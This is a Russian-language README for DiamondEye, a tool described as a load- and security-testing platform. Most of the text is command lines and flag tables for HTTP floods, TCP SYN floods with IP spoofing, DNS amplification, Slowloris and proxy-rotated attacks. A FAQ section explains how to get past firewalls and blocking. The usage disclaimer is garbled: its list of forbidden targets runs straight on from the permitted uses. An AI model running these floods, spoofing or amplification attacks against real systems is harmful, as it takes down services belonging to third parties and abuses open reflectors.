DiamondEye — это высокопроизводительная платформа для тестирования безопасности и нагрузочного тестирования веб-систем, построенная на модульной архитектуре с поддержкой многослойных атак.
⚠️ ПРЕДУПРЕЖДЕНИЕ: DiamondEye предназначен исключительно для:
- Тестирования систем, которые вам принадлежат
- Проведения пентестов с письменного разрешения
- Образовательных целей в контролируемых лабораториях
- Оценки устойчивости собственной инфраструктуры
- Государственных и военных ресурсов
- Финансовых учреждений (банки, платежные системы)
- Критической инфраструктуры (энергетика, медицина)
- Облачных провайдеров и хостингов без разрешения
- Любых систем без явного письменного согласия
Вы несете полную юридическую ответственность за использование этого инструмента. Разработчики не несут ответственности за неправомерное применение.
- 🌟 Новые возможности v10.0
- 🚀 Быстрый старт
- ⚙️ Установка
- 🎯 Основные режимы работы
- ⚡ Флаги и параметры
- 📊 Отчетность и аналитика
- 🔧 Примеры использования
- 🛡️ Системные требования
⚠️ Предупреждения и ограничения- ❓ Часто задаваемые вопросы
- 📞 Поддержка и контакты
- 📜 Лицензия и благодарности
- Layer7 (HTTP) — Полная поддержка HTTP/1.1, HTTP/2, HTTP/3
- Layer4 (TCP) — TCP флуд с поддержкой спуфинга IP
- Amplification — DNS, NTP, Memcached amplification атаки
- Slowloris — Классические медленные атаки через плагины
- Динамическая загрузка — Плагины загружаются на лету
- Готовые плагины — Slowloris, UDP flood, кастомные атаки
- Создание своих — Простой API для разработки плагинов
- Авто-обнаружение — Автоматическое сканирование плагинов
- Порт-сканер — Быстрое сканирование открытых портов
- DNS анализ — Сбор DNS записей, поддоменов
- SSL/TLS аудит — Проверка сертификатов и настроек
- Обнаружение сервисов — Автоопределение работающих сервисов
- Proxy Manager — Автоматический сбор и ротация прокси
- Resource Monitor — Детальный мониторинг ресурсов системы
- Adaptive Attacks — Адаптивные атаки с обратной связью
- Multi-Protocol — Поддержка WebSocket, GraphQL, API
- Real-time статистика — RPS, PPS, задержки, ошибки
- Графики производительности — Визуализация в реальном времени
- Детальные отчеты — Текстовые, JSON, CSV форматы
- Экспорт данных — Интеграция с системами мониторинга
git clone https://github.com/UndefinedClear/DiamondEye.git
cd DiamondEye
pip install -r requirements.txt# Layer7 HTTP тестирование
python main.py https://your-server.com --workers 10 --sockets 50
# Список доступных плагинов
python main.py --list-plugins
# Быстрая разведка цели
python main.py target.com --reconpython main.py https://your-server.com \
--attack-type http \
--workers 500 \
--sockets 2000 \
--http2 \
--flood \
--junk \
--path-fuzz \
-l test_report.log \
--json metrics.json \
--plot performance.png- Python 3.8+ (рекомендуется 3.10+)
- ОС: Linux (рекомендуется), macOS, Windows (частичная поддержка)
- Память: 4+ ГБ RAM
- Сеть: стабильное интернет-соединение
# Базовые зависимости
pip install -r requirements.txt
# Опциональные зависимости
pip install httpx[http2] # Для HTTP/2 поддержки
pip install httpx[http3] # Для HTTP/3 (QUIC) поддержки
pip install aiohttp-socks # Для SOCKS прокси поддержки
pip install uvloop # Для максимальной производительности# Сборка образа
docker build -t diamondeye .
# Запуск
docker run -it --rm --network host diamondeye \
python main.py https://target.com --workers 100Основной режим для нагрузочного тестирования веб-приложений.
python main.py <URL> --attack-type http [параметры]Особенности:
- Асинхронная обработка тысяч запросов
- Поддержка всех основных HTTP методов
- Настраиваемая интенсивность нагрузки
- Режимы: flood, slowloris, adaptive
TCP флуд для тестирования сетевой инфраструктуры.
python main.py --attack-type tcp --target-ip <IP> --target-port <PORT>Особенности:
- Raw socket поддержка (требует прав root/admin)
- Спуфинг IP адресов
- Кастомизация размеров пакетов
- Поддержка SYN flood
Amplification атаки для тестирования DDoS защиты.
python main.py --attack-type dns --target-ip <IP> --amplificationОсобенности:
- Поддержка публичных DNS серверов
- Автоматический подбор доменов
- Оценка коэффициента усиления
Сбор информации о цели перед тестированием.
python main.py <TARGET> --recon [дополнительные параметры]Возможности:
- Сканирование портов
- DNS анализ и поддомены
- SSL/TLS аудит
- Обнаружение уязвимостей
- Экспорт отчетов
Запуск специализированных атак через плагины.
# Список плагинов
python main.py --list-plugins
# Запуск плагина
python main.py <TARGET> --plugin <PLUGIN_NAME>| Флаг | Описание | Пример | По умолчанию |
|---|---|---|---|
--attack-type |
Тип атаки | --attack-type http |
http |
--target-ip |
Целевой IP | --target-ip 192.168.1.1 |
- |
--target-port |
Целевой порт | --target-port 80 |
80 |
-w, --workers |
Количество воркеров | -w 500 |
10 |
-s, --sockets |
Сокетов на воркер | -s 1000 |
100 |
--duration |
Длительность атаки (сек) | --duration 60 |
0 (бесконечно) |
| Флаг | Описание | Пример |
|---|---|---|
-m, --methods |
HTTP методы | -m GET,POST |
-u, --useragents |
Файл с User-Agent | -u ua.txt |
-n, --no-ssl-check |
Отключить проверку SSL | -n |
--http2 |
Использовать HTTP/2 | --http2 |
--http3 |
Использовать HTTP/3 (QUIC) | --http3 |
--websocket |
WebSocket flood режим | --websocket |
--flood |
Максимальный RPS | --flood |
--extreme |
Новое соединение на запрос | --extreme |
--slow N |
Slowloris атака | --slow 0.1 |
--adaptive |
Адаптивный режим | --adaptive |
| Флаг | Описание | Пример |
|---|---|---|
--junk |
Добавить случайные заголовки | --junk |
--header-flood |
До 20 случайных заголовков | --header-flood |
--random-host |
Случайные поддомены в Host | --random-host |
--path-fuzz |
Случайные глубокие пути | --path-fuzz |
--method-fuzz |
Использовать редкие методы | --method-fuzz |
--rotate-ua |
Ротация User-Agent | --rotate-ua |
--spoof-ip |
Спуфинг IP (для Layer4) | --spoof-ip |
| Флаг | Описание | Пример |
|---|---|---|
--proxy |
Использовать прокси | --proxy http://127.0.0.1:8080 |
--proxy-file |
Файл со списком прокси | --proxy-file proxies.txt |
--proxy-auto |
Авто-сбор прокси | --proxy-auto |
--interface |
Сетевой интерфейс | --interface eth0 |
--source-port |
Кастомный source port | --source-port 12345 |
| Флаг | Описание | Пример |
|---|---|---|
--recon |
Включить разведку | --recon |
--recon-full |
Полная разведка | --recon-full |
--recon-ports |
Порты для сканирования | --recon-ports 21,80,443 |
--recon-save |
Сохранить отчет | --recon-save report.json |
| Флаг | Описание | Пример |
|---|---|---|
--plugin |
Использовать плагин | --plugin Slowloris |
--list-plugins |
Список плагинов | --list-plugins |
--plugin-config |
Конфиг плагина | --plugin-config config.json |
| Флаг | Описание | Пример |
|---|---|---|
-l, --log |
Текстовый отчет | -l report.log |
--json |
JSON отчет | --json metrics.json |
--plot |
График RPS | --plot graph.png |
--monitor-interval |
Интервал мониторинга | --monitor-interval 0.5 |
--save-stats |
Сохранить статистику | --save-stats |
--resource-alert |
Порог предупреждений | --resource-alert 90 |
| Флаг | Описание | Пример |
|---|---|---|
-d, --debug |
Режим отладки | -d |
--packet-size |
Размер пакета (Layer4) | --packet-size 1024 |
--packet-count |
Количество пакетов | --packet-count 10000 |
--ttl |
IP TTL значение | --ttl 64 |
--max-rps |
Максимальный RPS | --max-rps 1000 |
--max-bandwidth |
Максимальная полоса | --max-bandwidth 100 |
python main.py https://target.com --log report.txtПример отчета:
╔════════════════════════════════════════════════╗
║ DIAMONDEYE v10.0 — REPORT ║
╚════════════════════════════════════════════════╝
🎯 Цель: https://target.com
⚡ Тип атаки: HTTP Flood
⏱️ Длительность: 60s
🔁 Воркеры: 500 | Сокетов: 2000
📊 Отправлено запросов: 1,245,678
🚀 Средний RPS: 20,761
📈 Успешность: 98.7%
⚠️ Ошибок: 15,893
💻 Использование CPU: 78.5%
🧠 Использование RAM: 65.2%
════════════════════════════════════════════════
python main.py https://target.com --json metrics.json{
"tool": "DiamondEye",
"version": "10.0",
"target": "https://target.com",
"attack_type": "http",
"duration_sec": 60,
"config": {
"workers": 500,
"sockets": 2000,
"methods": ["GET", "POST"],
"http2": true
},
"metrics": {
"total_requests": 1245678,
"successful": 1230000,
"failed": 15678,
"success_rate": 98.74,
"average_rps": 20761,
"peak_rps": 25432,
"average_latency_ms": 45.2
},
"resources": {
"cpu_avg": 78.5,
"ram_avg": 65.2,
"network_mbps": 125.4
}
}python main.py https://target.com --plot performance.pngГрафики включают:
- RPS (Requests Per Second) в реальном времени
- Использование CPU и RAM
- Сетевую активность (Mbps)
- Историю ошибок
# Максимальная нагрузка на веб-сервер
python main.py https://api.example.com/v1/users \
--attack-type http \
-w 1000 \
-s 5000 \
--http2 \
--flood \
--junk \
--header-flood \
--random-host \
--path-fuzz \
--duration 300 \
-l http_flood.log \
--json http_metrics.json# TCP флуд с спуфингом IP (требует root)
sudo python main.py \
--attack-type tcp \
--target-ip 192.168.1.100 \
--target-port 80 \
--workers 200 \
--spoof-ip \
--packet-size 1024 \
--duration 180 \
-l tcp_flood.log# DNS amplification тест
python main.py \
--attack-type dns \
--target-ip 192.168.1.100 \
--amplification \
--workers 50 \
--duration 120 \
-l dns_amp.log# Сбор информации перед атакой
python main.py target-company.com \
--recon-full \
--recon-ports 21-25,80,443,3306,3389,8080,8443 \
--recon-save recon_report.json# Slowloris атака через плагин
python main.py https://target.com \
--plugin Slowloris \
--workers 100 \
--duration 600 \
--plugin-config slowloris_config.json# Автоматический поиск предела производительности
python main.py https://app.example.com \
--attack-type http \
--adaptive \
--http2 \
-w 100 \
-s 500 \
--max-rps 5000 \
--duration 600 \
--json adaptive_results.json# Использование авто-собранных прокси
python main.py https://target.com \
--proxy-auto \
--proxy-timeout 3 \
--rotate-ua \
-w 200 \
-s 1000 \
--duration 180# Нагрузочное тестирование WebSocket
python main.py wss://chat.example.com/ws \
--websocket \
-w 50 \
-s 200 \
--data-size 400k \
--duration 300 \
-l websocket_test.log| Компонент | Минимум | Рекомендуется | Для production |
|---|---|---|---|
| CPU | 2 ядра | 4+ ядра | 8+ ядер |
| RAM | 4 ГБ | 8 ГБ | 16+ ГБ |
| Диск | 100 МБ | 1 ГБ | 10+ ГБ SSD |
| Сеть | 100 Мбит | 1 Гбит | 10+ Гбит |
Подробные инструкции по настройке системы смотрите в SYSTEM.md.
Ключевые настройки:
# Linux: Увеличение лимитов
ulimit -n 65536
sysctl -w net.core.somaxconn=65535
# Windows: Увеличение портов
netsh int ipv4 set dynamicport tcp start=1024 num=64511- Python 3.8+ (рекомендуется 3.10+)
- pip 20.3+
- Virtual environment (рекомендуется)
- Перегрев оборудования — Может вызвать отказ оборудования
- Исчерпание ресурсов — Может привести к падению сервера
- Блокировка IP — Провайдеры могут блокировать IP за подозрительную активность
- Юридические последствия — Незаконное использование преследуется по закону
| Ограничение | Значение | Обход |
|---|---|---|
| Максимальные соединения | ~65,535 на IP | Использовать несколько IP |
| Максимальный RPS | Зависит от сети | Оптимизация кода, HTTP/2 |
| Потребление CPU | Высокое | Ограничение воркеров |
| Использование памяти | 10-100 МБ на воркер | Уменьшение --sockets |
# НЕ РАБОТАЕТ:
--http2 --extreme # HTTP/2 требует постоянных соединений
--proxy --slow # Slowloris не работает через прокси
--flood --slow # Противоречивые режимы
--http3 --proxy # HTTP/3 пока не поддерживает прокси- Windows — Ограниченная поддержка высоких нагрузок
- HTTP/3 — Экспериментальная поддержка, возможны ошибки
- Raw sockets — Требуют прав root/admin в Linux
- Python 3.7 и ниже — Не поддерживается
Ответ: Зависит от многих факторов:
- На локальном сервере: 25,000+ RPS
- Через интернет: 5,000-10,000 RPS
- На слабом оборудовании: 1,000-5,000 RPS
Рекомендации для максимального RPS:
python main.py https://target.com \
--attack-type http \
--http2 \
--flood \
-w 500 \
-s 2000 \
--no-ssl-check \
--junkВозможные причины:
- Исчерпание портов — Используйте
--extremeс осторожностью - Перегрев CPU — Уменьшите количество воркеров
- Блокировка firewall — Используйте
--random-host - Ограничения ОС — Настройте систему по руководству
Стратегии обхода:
# 1. Медленная атака
python main.py https://target.com --slow 0.3 -w 50
# 2. Случайные заголовки
python main.py https://target.com --junk --header-flood --random-host
# 3. HTTP/2 с мультиплексированием
python main.py https://target.com --http2 --flood
# 4. Комбинированный подход
python main.py https://target.com \
--http2 \
--junk \
--random-host \
--path-fuzz \
--method-fuzzКлючевые метрики:
- RPS > 1000 — Хорошая производительность
- Success rate > 95% — Стабильная работа
- Latency < 100ms — Быстрый отклик
- Error rate < 5% — Надежная система
Тревожные сигналы:
- RPS падает со временем
- Увеличивается задержка
- Растет процент ошибок
- Нестабильный график
- Создайте файл в папке
plugins/ - Унаследуйте класс
BasePlugin - Реализуйте методы
initialize,execute,cleanup - Плагин будет автоматически обнаружен
Пример плагина:
from plugins.plugin_manager import BasePlugin, PluginInfo
class MyPlugin(BasePlugin):
async def initialize(self, config):
self.config = config
return True
async def execute(self, target):
# Ваша логика атаки
return {"status": "success"}- GitHub Issues: https://github.com/UndefinedClear/DiamondEye/issues
- Telegram автора: @pelikan6
- Telegram сообщество: https://t.me/x_xffx_x
- Email: larion626@gmail.com
Шаблон для баг-репорта:
## Описание проблемы
## Шаги для воспроизведения
1.
2.
3.
## Ожидаемое поведение
## Фактическое поведение
## Логи и скриншоты
## Версия DiamondEye и ОС
- Разработчик: larion928 Teron
- Вдохновлено: Golden Eye
- Особые благодарности: UndefinedClear Hyprbro
- Спасибо: Всем участникам Telegram группы
Если DiamondEye полезен для вас:
- Поставьте звезду на GitHub ⭐
- Расскажите коллегам 🗣️
- Внесите вклад в разработку 🔧
- Поддержите сообщество 💝
Вместе мы сделаем интернет безопаснее! 🔐
Версия документации: 10.0 | Последнее обновление: 2025